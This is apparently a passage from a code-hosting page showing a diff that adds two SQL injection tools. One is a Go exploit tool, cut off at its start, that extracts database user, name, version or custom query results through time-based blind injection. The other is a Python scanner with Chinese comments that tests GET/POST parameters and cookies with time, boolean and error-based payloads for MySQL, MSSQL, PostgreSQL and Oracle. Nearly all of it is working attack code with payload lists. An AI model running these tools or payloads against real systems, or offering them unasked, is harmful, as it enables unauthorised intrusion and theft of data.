||||
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
|
||||
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
|
||||
}
|
||||
}(p.Payload, p.DBMS, p.Delay)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
return results
|
||||
}
|
||||
|
||||
func (s *SQLiExploit) TestErrorBased(payloads []struct {
|
||||
Payload string
|
||||
Type string
|
||||
}) []InjectionResult {
|
||||
var results []InjectionResult
|
||||
|
||||
errorPatterns := map[string]string{
|
||||
"MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException",
|
||||
"PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query",
|
||||
"MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer",
|
||||
"Oracle": "ORA-\\d{5}|Oracle.*Driver",
|
||||
"SQLite": "SQLite.*error|sqlite3.OperationalError",
|
||||
}
|
||||
|
||||
for _, p := range payloads {
|
||||
body, respLen, err := s.SendRequest(p.Payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for dbms, pattern := range errorPatterns {
|
||||
if strings.Contains(body, "SQL") || strings.Contains(body, "error") ||
|
||||
strings.Contains(body, "Error") || strings.Contains(body, "Warning") {
|
||||
results = append(results, InjectionResult{
|
||||
Payload: p.Payload,
|
||||
VulnType: "Error-based",
|
||||
DBMS: dbms,
|
||||
ResponseLen: respLen,
|
||||
})
|
||||
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
|
||||
colorRed+colorBold, colorEnd, p.Payload, dbms)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string {
|
||||
var result strings.Builder
|
||||
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
|
||||
|
||||
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
|
||||
|
||||
for pos := 1; pos <= maxLen; pos++ {
|
||||
found := false
|
||||
for _, char := range charset {
|
||||
var payload string
|
||||
|
||||
if technique == "time" {
|
||||
switch dbms {
|
||||
case "mysql":
|
||||
payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char)
|
||||
case "mssql":
|
||||
payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char)
|
||||
case "postgresql":
|
||||
payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char)
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
s.SendRequest(payload)
|
||||
elapsed := time.Since(start)
|
||||
|
||||
if elapsed >= 900*time.Millisecond {
|
||||
result.WriteByte(byte(char))
|
||||
found = true
|
||||
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Println()
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func main() {
|
||||
target := flag.String("u", "", "Target URL")
|
||||
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
|
||||
param := flag.String("p", "id", "Parameter to inject")
|
||||
threads := flag.Int("t", 5, "Number of threads")
|
||||
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
|
||||
technique := flag.String("technique", "time", "Injection technique (time/error/bool)")
|
||||
extract := flag.String("extract", "", "Data to extract (user/database/version)")
|
||||
query := flag.String("query", "", "Custom SQL query")
|
||||
dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
|
||||
|
||||
flag.Parse()
|
||||
|
||||
if *target == "" {
|
||||
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
|
||||
flag.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
fmt.Printf("%sSQL Injection Exploit Tool (Go)%s\n", colorBold, colorEnd)
|
||||
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
|
||||
exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
|
||||
|
||||
fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
|
||||
fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
|
||||
fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
|
||||
fmt.Printf("%s[INFO]%s Technique: %s\n", colorBlue, colorEnd, *technique)
|
||||
|
||||
timePayloads := []struct {
|
||||
Payload string
|
||||
DBMS string
|
||||
Delay time.Duration
|
||||
}{
|
||||
{"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second},
|
||||
{"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second},
|
||||
{"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second},
|
||||
{"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second},
|
||||
{"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second},
|
||||
}
|
||||
|
||||
errorPayloads := []struct {
|
||||
Payload string
|
||||
Type string
|
||||
}{
|
||||
{"'", "Single Quote"},
|
||||
{"\"", "Double Quote"},
|
||||
{"' OR 1=1-- -", "OR Injection"},
|
||||
{"' AND 1=1-- -", "AND Injection"},
|
||||
{"' UNION SELECT NULL-- -", "UNION"},
|
||||
}
|
||||
|
||||
var allResults []InjectionResult
|
||||
|
||||
fmt.Printf("\n%s[*]%s Testing Time-based Injection...\n", colorCyan, colorEnd)
|
||||
timeResults := exploit.TestTimeBased(timePayloads)
|
||||
allResults = append(allResults, timeResults...)
|
||||
|
||||
fmt.Printf("\n%s[*]%s Testing Error-based Injection...\n", colorCyan, colorEnd)
|
||||
errorResults := exploit.TestErrorBased(errorPayloads)
|
||||
allResults = append(allResults, errorResults...)
|
||||
|
||||
if *extract != "" || *query != "" {
|
||||
var extractQuery string
|
||||
switch *extract {
|
||||
case "user":
|
||||
switch *dbms {
|
||||
case "mysql":
|
||||
extractQuery = "SELECT user()"
|
||||
case "mssql":
|
||||
extractQuery = "SELECT SYSTEM_USER"
|
||||
case "postgresql":
|
||||
extractQuery = "SELECT current_user"
|
||||
}
|
||||
case "database":
|
||||
switch *dbms {
|
||||
case "mysql":
|
||||
extractQuery = "SELECT database()"
|
||||
case "mssql":
|
||||
extractQuery = "SELECT DB_NAME()"
|
||||
case "postgresql":
|
||||
extractQuery = "SELECT current_database()"
|
||||
}
|
||||
case "version":
|
||||
switch *dbms {
|
||||
case "mysql":
|
||||
extractQuery = "SELECT version()"
|
||||
case "mssql":
|
||||
extractQuery = "SELECT @@version"
|
||||
case "postgresql":
|
||||
extractQuery = "SELECT version()"
|
||||
}
|
||||
default:
|
||||
extractQuery = *query
|
||||
}
|
||||
|
||||
if extractQuery != "" {
|
||||
result := exploit.ExtractData(extractQuery, *technique, *dbms, 100)
|
||||
fmt.Printf("\n%s[+]%s Result: %s\n", colorGreen, colorEnd, result)
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
fmt.Printf("%s[SUMMARY]%s Found %d vulnerabilities\n", colorGreen, colorEnd, len(allResults))
|
||||
for _, r := range allResults {
|
||||
fmt.Printf(" - [%s] %s - %s\n", r.VulnType, r.DBMS, r.Payload)
|
||||
}
|
||||
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
}
|
||||
@@ -0,0 +1,363 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
SQL Injection Scanner
|
||||
自动检测SQL注入漏洞点
|
||||
|
||||
支持:
|
||||
- GET/POST 参数注入
|
||||
- Cookie 注入
|
||||
- Header 注入
|
||||
- 时间盲注检测
|
||||
- 布尔盲注检测
|
||||
- 报错注入检测
|
||||
|
||||
Usage:
|
||||
python3 sqli-scanner.py -u "http://target.com/page?id=1"
|
||||
python3 sqli-scanner.py -u "http://target.com" --data "id=1&name=test"
|
||||
python3 sqli-scanner.py -u "http://target.com" --cookie "id=1"
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import re
|
||||
import time
|
||||
import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
import sys
|
||||
|
||||
|
||||
class Colors:
|
||||
RED = "\033[91m"
|
||||
GREEN = "\033[92m"
|
||||
YELLOW = "\033[93m"
|
||||
BLUE = "\033[94m"
|
||||
END = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
|
||||
|
||||
class SQLiScanner:
|
||||
def __init__(self, timeout: int = 10, threads: int = 5):
|
||||
self.timeout = timeout
|
||||
self.threads = threads
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(
|
||||
{
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}
|
||||
)
|
||||
|
||||
self.error_patterns = [
|
||||
r"SQL syntax.*MySQL",
|
||||
r"Warning.*mysql_.*",
|
||||
r"MySqlException",
|
||||
r"PostgreSQL.*ERROR",
|
||||
r"Warning.*pg_.*",
|
||||
r"Invalid query: pg_",
|
||||
r"ORA-\d{5}",
|
||||
r"Oracle.*Driver",
|
||||
r"Warning.*oci_.*",
|
||||
r"Microsoft SQL Server",
|
||||
r"ODBC SQL Server Driver",
|
||||
r"SQLite.*error",
|
||||
r"sqlite3.OperationalError",
|
||||
r"Syntax error.*SQLite",
|
||||
r"Warning.*sqlite_",
|
||||
r"DB2 SQL error",
|
||||
r"DB2 SQLSTATE",
|
||||
r"Dynamic SQL Error",
|
||||
r"Warning.*ibase_",
|
||||
r"PLS-\d{5}",
|
||||
r"ORA-\d{5}",
|
||||
r"Error.*SQL.*",
|
||||
r"Exception.*SQL",
|
||||
r"SQLSTATE\[\d+\]",
|
||||
r"mysql_fetch",
|
||||
r"mysql_num_rows",
|
||||
r"pg_query",
|
||||
r"mysql_query",
|
||||
]
|
||||
|
||||
self.time_payloads = [
|
||||
("' AND SLEEP(5)-- -", "MySQL"),
|
||||
("' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -", "MySQL"),
|
||||
("'; WAITFOR DELAY '0:0:5'-- -", "MSSQL"),
|
||||
("' AND 1=1; WAITFOR DELAY '0:0:5'-- -", "MSSQL"),
|
||||
("' AND pg_sleep(5)-- -", "PostgreSQL"),
|
||||
("' OR (SELECT pg_sleep(5))-- -", "PostgreSQL"),
|
||||
("' AND (SELECT dbms_pipe.receive_message('a',5) FROM dual)-- -", "Oracle"),
|
||||
("'||dbms_pipe.receive_message(chr(99),5)-- -", "Oracle"),
|
||||
]
|
||||
|
||||
self.bool_payloads = [
|
||||
("' AND 1=1-- -", "' AND 1=2-- -", "Boolean-based"),
|
||||
("' OR '1'='1", "' OR '1'='2", "Boolean-based"),
|
||||
("1 AND 1=1", "1 AND 1=2", "Boolean-based (numeric)"),
|
||||
("1 OR 1=1", "1 OR 1=2", "Boolean-based (numeric)"),
|
||||
]
|
||||
|
||||
self.error_payloads = [
|
||||
("'", "Single quote"),
|
||||
('"', "Double quote"),
|
||||
("\\", "Backslash"),
|
||||
("')", "Single quote parenthesis"),
|
||||
('")', "Double quote parenthesis"),
|
||||
("' OR 1=1-- -", "OR injection"),
|
||||
(
|
||||
"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -",
|
||||
"MSSQL error",
|
||||
),
|
||||
(
|
||||
"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -",
|
||||
"MySQL error",
|
||||
),
|
||||
("' AND 1=CAST((SELECT version()) AS INT)-- -", "PostgreSQL error"),
|
||||
]
|
||||
|
||||
def print_result(self, level: str, msg: str):
|
||||
colors = {
|
||||
"INFO": Colors.BLUE,
|
||||
"SUCCESS": Colors.GREEN,
|
||||
"WARNING": Colors.YELLOW,
|
||||
"ERROR": Colors.RED,
|
||||
"VULN": Colors.RED + Colors.BOLD,
|
||||
}
|
||||
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
|
||||
|
||||
def test_error_based(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str = "GET",
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
) -> Tuple[bool, Optional[str]]:
|
||||
"""测试报错注入"""
|
||||
original_resp = self._request(url, method, data, cookies)
|
||||
if not original_resp:
|
||||
return False, None
|
||||
|
||||
original_len = len(original_resp.text)
|
||||
|
||||
for payload, desc in self.error_payloads:
|
||||
test_data = data.copy() if data else {}
|
||||
test_data[param] = payload
|
||||
|
||||
resp = self._request(url, method, test_data, cookies)
|
||||
if not resp:
|
||||
continue
|
||||
|
||||
for pattern in self.error_patterns:
|
||||
if re.search(pattern, resp.text, re.IGNORECASE):
|
||||
return (
|
||||
True,
|
||||
f"[报错注入] {param} - Payload: {payload} - 类型: {desc} - 匹配: {pattern}",
|
||||
)
|
||||
|
||||
if abs(len(resp.text) - original_len) > 500:
|
||||
return (
|
||||
True,
|
||||
f"[报错注入] {param} - Payload: {payload} - 响应长度差异: {abs(len(resp.text) - original_len)}",
|
||||
)
|
||||
|
||||
return False, None
|
||||
|
||||
def test_time_based(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str = "GET",
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
) -> Tuple[bool, Optional[str]]:
|
||||
"""测试时间盲注"""
|
||||
for payload, db_type in self.time_payloads:
|
||||
test_data = data.copy() if data else {}
|
||||
test_data[param] = payload
|
||||
|
||||
start_time = time.time()
|
||||
resp = self._request(url, method, test_data, cookies, timeout=15)
|
||||
elapsed = time.time() - start_time
|
||||
|
||||
if elapsed >= 4.5:
|
||||
return (
|
||||
True,
|
||||
f"[时间盲注] {param} - Payload: {payload} - 数据库: {db_type} - 延迟: {elapsed:.2f}s",
|
||||
)
|
||||
|
||||
return False, None
|
||||
|
||||
def test_bool_based(
|
||||
self,
|
||||
url: str,
|
||||
param: str,
|
||||
method: str = "GET",
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
) -> Tuple[bool, Optional[str]]:
|
||||
"""测试布尔盲注"""
|
||||
for true_payload, false_payload, desc in self.bool_payloads:
|
||||
test_data_true = data.copy() if data else {}
|
||||
test_data_true[param] = true_payload
|
||||
|
||||
test_data_false = data.copy() if data else {}
|
||||
test_data_false[param] = false_payload
|
||||
|
||||
resp_true = self._request(url, method, test_data_true, cookies)
|
||||
resp_false = self._request(url, method, test_data_false, cookies)
|
||||
|
||||
if not resp_true or not resp_false:
|
||||
continue
|
||||
|
||||
diff = abs(len(resp_true.text) - len(resp_false.text))
|
||||
|
||||
if diff > 100:
|
||||
return (
|
||||
True,
|
||||
f"[布尔盲注] {param} - True: {true_payload} - False: {false_payload} - 长度差: {diff}",
|
||||
)
|
||||
|
||||
true_text = resp_true.text.lower()
|
||||
false_text = resp_false.text.lower()
|
||||
|
||||
if (
|
||||
"success" in true_text or "welcome" in true_text or "admin" in true_text
|
||||
) and (
|
||||
"error" in false_text or "fail" in false_text or "wrong" in false_text
|
||||
):
|
||||
return True, f"[布尔盲注] {param} - 关键词差异检测到 - {desc}"
|
||||
|
||||
return False, None
|
||||
|
||||
def _request(
|
||||
self,
|
||||
url: str,
|
||||
method: str,
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
timeout: int = None,
|
||||
) -> Optional[requests.Response]:
|
||||
"""发送HTTP请求"""
|
||||
try:
|
||||
if method.upper() == "GET":
|
||||
params = urllib.parse.urlencode(data) if data else ""
|
||||
full_url = f"{url}?{params}" if params else url
|
||||
return self.session.get(
|
||||
full_url,
|
||||
cookies=cookies,
|
||||
timeout=timeout or self.timeout,
|
||||
verify=False,
|
||||
)
|
||||
else:
|
||||
return self.session.post(
|
||||
url,
|
||||
data=data,
|
||||
cookies=cookies,
|
||||
timeout=timeout or self.timeout,
|
||||
verify=False,
|
||||
)
|
||||
except requests.exceptions.RequestException as e:
|
||||
return None
|
||||
|
||||
def scan_url(
|
||||
self,
|
||||
url: str,
|
||||
method: str = "GET",
|
||||
data: Dict = None,
|
||||
cookies: Dict = None,
|
||||
params: List[str] = None,
|
||||
) -> List[str]:
|
||||
"""扫描URL"""
|
||||
results = []
|
||||
|
||||
if not params:
|
||||
if method == "GET":
|
||||
parsed = urllib.parse.urlparse(url)
|
||||
params = list(urllib.parse.parse_qs(parsed.query).keys())
|
||||
else:
|
||||
params = list(data.keys()) if data else []
|
||||
|
||||
if not params:
|
||||
self.print_result("WARNING", f"未找到可测试的参数")
|
||||
return results
|
||||
|
||||
self.print_result("INFO", f"开始扫描 {len(params)} 个参数: {', '.join(params)}")
|
||||
|
||||
for param in params:
|
||||
self.print_result("INFO", f"测试参数: {param}")
|
||||
|
||||
vuln, msg = self.test_error_based(url, param, method, data, cookies)
|
||||
if vuln:
|
||||
results.append(msg)
|
||||
self.print_result("VULN", msg)
|
||||
continue
|
||||
|
||||
vuln, msg = self.test_bool_based(url, param, method, data, cookies)
|
||||
if vuln:
|
||||
results.append(msg)
|
||||
self.print_result("VULN", msg)
|
||||
continue
|
||||
|
||||
vuln, msg = self.test_time_based(url, param, method, data, cookies)
|
||||
if vuln:
|
||||
results.append(msg)
|
||||
self.print_result("VULN", msg)
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="SQL Injection Scanner")
|
||||
parser.add_argument("-u", "--url", required=True, help="目标URL")
|
||||
parser.add_argument(
|
||||
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
|
||||
)
|
||||
parser.add_argument("-d", "--data", help="POST数据 (格式: id=1&name=test)")
|
||||
parser.add_argument("-c", "--cookie", help="Cookie")
|
||||
parser.add_argument("-p", "--params", help="指定参数 (逗号分隔)")
|
||||
parser.add_argument("-t", "--threads", type=int, default=5, help="线程数")
|
||||
parser.add_argument("--timeout", type=int, default=10, help="超时时间")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
scanner = SQLiScanner(timeout=args.timeout, threads=args.threads)
|
||||
|
||||
data = {}
|
||||
if args.data:
|
||||
for pair in args.data.split("&"):
|
||||
if "=" in pair:
|
||||
k, v = pair.split("=", 1)
|
||||
data[k] = v
|
||||
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
|
||||
params = args.params.split(",") if args.params else None
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}SQL Injection Scanner{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
scanner.print_result("INFO", f"目标: {args.url}")
|
||||
scanner.print_result("INFO", f"方法: {args.method}")
|
||||
|
||||
results = scanner.scan_url(args.url, args.method, data, cookies, params)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
if results:
|
||||
scanner.print_result("SUCCESS", f"发现 {len(results)} 个SQL注入漏洞!")
|
||||
for r in results:
|
||||
print(f" - {r}")
|
||||
else:
|
||||
scanner.print_result("INFO", "未发现SQL注入漏洞")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
在新工单中引用
屏蔽一个用户